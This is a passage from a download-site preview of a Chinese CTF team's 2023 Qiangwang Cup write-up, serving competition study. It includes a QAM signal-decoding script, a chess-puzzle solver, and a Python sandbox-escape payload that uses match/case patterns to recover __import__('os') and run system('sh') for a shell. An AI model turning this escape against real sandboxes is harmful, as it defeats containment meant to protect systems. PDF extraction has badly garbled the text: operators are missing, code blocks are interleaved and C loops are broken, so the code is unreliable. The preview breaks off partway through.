没有合适的资源?快使用搜索试试~ 我知道了~
资源推荐
资源详情
资源评论
2023 强网杯 Writeup by Nu1L
2023 强网杯 Writeup by Nu1L
Misc
Wabby Wabbo Radio
Pyjail ! It's myAST !!!!
Happy Chess
Pyjail ! It's myFILTER !!!
Pyjail ! It's myRevenge !!!
谍影重重2.0
谍影重重3.0
Crypto
discrete_log
not only rsa
babyrsa
Reverse
ezre
dotdot
unname
PWN
chatting
simpleinterpreter
A-rtsp
Web
thinkshop
easyphp
happygame
强网先锋
石头剪刀布
easyfuzz
SpeedUp
ez_fmt
Trie
Babyre
ezre
hello spring
Misc
Wabby Wabbo Radio
/play接口会返回wav链接,发现存在hint2.wav,试一试可以把hint1.wav、flag.wav一起下载到。
两个hint左声道存在morse code,解出得到DOYOUKNOWQAM?和MAYBEFLAGISPNGPICTURE
尝试用gnu radio分析flag.wav,过一个float to complex块后在Constellation Sink中可以观察到非常标准的
16个点,推断为16QAM。可以直接一把梭:
也可以导出complex到文件python处理:
import struct
with open('complex.txt', 'rb') as f:
content = f.read()
length = len(content) 4
data = struct.unpack(f'{length}f', content)
rdata = [round(i) for i in data]
table = {(-3,-3) 0,
(-3,-1) 1,
(-3, 1) 2,
(-3, 3) 3,
(-1,-3) 4,
(-1,-1) 5,
(-1, 1) 6,
(-1, 3) 7,
( 1,-3) 8,
( 1,-1) 9,
( 1, 1) 10,
( 1, 3) 11,
( 3,-3) 12,
( 3,-1) 13,
( 3, 1) 14,
Pyjail ! It's myAST !!!!
match绕过获取attr的限制。从 str.doc 获取字符常量。再从 len.self 重建builtin。
( 3, 3) 15}
out = []
for i in range(0, len(rdata), 4)
part0 = table[(rdata[i], rdata[i+1])]
part1 = table[(rdata[i+2], rdata[i+3])]
out.append(part0*16 + part1)
with open('out.png', 'wb') as f:
f.write(bytes(out))
match str()
case object(__doc__=doc)
match list(str(doc))
case
[s,t,r,_,o,_,_,e,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,y,_,_,_,under,_,_,_,_,_,_,_
,_,_,_,_,_,_,_,_,_,_,i,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_
,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,m,_,_,h,_,_,_,_,_,_,_,_,_,_,_,_,_,_
,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,p,_,_,_,_,_,_,_,_,_,_,_,_
,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_
,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_
,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_
,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_
,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_
,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_
,_,_,_,_,_,_,_,_,_,_,_,_,_,]
pass
match len:
case object(__self__=bt)
match bt:
case object(__dict__=dt)
match dt:
case object(get=gt1)
match gt1(str(underunderimportunderunder))(os)
case object(__dict__=dt)
match dt:
case object(get=gt1)
gt1(system)(sh)
Happy Chess
修改POJ 1681,增加解法输出。
from pwn import *
from x import Sol
context.log_level='DEBUG'
p=remote('47.104.199.71',10075)
p.sendlineafter(b'Token:',b'icqa0f60f60da7ab9600f9e4fde851b1')
#p.interactive()
def cookline(x:bytes)
x=x.decode('utf-8')
print(x)
r=[]
for i in list(x)
if i'○':
r.append(False)
else:
r.append(True)
return r
def trans(x:list)
r=""
for i in x:
r="y" if i else "n"
return r
def work()
p.recvuntil(b'10\n')
d=[]
while True:
l=p.recvline(keepends='False').strip()
if len(l)0
break
d.append(cookline(l))
#sl=Sol(len(d),len(d[0]))
#sl.set_state(d)
#sl.work()
#res=sl.solve()
p1=process("./a.out")
p1.sendline(str(len(d)))
[p1.sendline(trans(i)) for i in d]
bt=p1.recvall()
l=bt.strip().splitlines()
for i in l:
x,y=map(int,i.split(b','))
p.sendlineafter(b'> ',f"{x+1} {y+1}")
for i in range(10)
work()
print('done')
p.interactive()
poj1681
开关问题,高斯消元法解异或方程组
求最少要翻转的开关使得矩阵全0
存在无解,唯一解,多解的情况
多解时要枚举自由变元的状态
#include<cstdio>
#include<algorithm>
#include<cmath>
#include<cstdlib>
#include<cstring>
using namespace std;
const int maxn=1000;
const int inf=03f3f3f3f;
int T,n,equ,var,a[maxn][maxn],x[maxn],free_xx[maxn];
int ans;
char s[20];
void init(){ 初始化
memset(a,0,sizeof(a));
for(int i=0;i<n;i){
for(int j=0;j<n;j){
int t=inj;
a[t][t]=1;
for(int ii=0;ii<n;ii){
a[t][iinj]=1;
}
for(int jj=0;jj<n;jj){
a[t][injj]=1;
}
}
}
}
int Gauss(){
int r=0,cnt=0; cnt表示自由变元个数
for(int c=0;r<equc<var;r,c){
int Maxr=r;
for(int i=r+1;i<equ;i)
if(abs(a[i][c])>abs(a[Maxr][c]))
Maxr=i;
if(Maxrr){
for(int i=c;i<var+1;i)
swap(a[Maxr][i],a[r][i]);
}
剩余37页未读,继续阅读
资源评论
M1r4n
- 粉丝: 300
- 资源: 36
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功